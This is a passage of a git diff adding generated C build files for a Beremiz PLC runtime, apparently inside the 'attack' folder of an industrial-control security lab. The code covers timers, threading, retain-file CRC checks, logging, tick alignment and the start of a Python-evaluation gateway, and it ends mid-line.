PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != 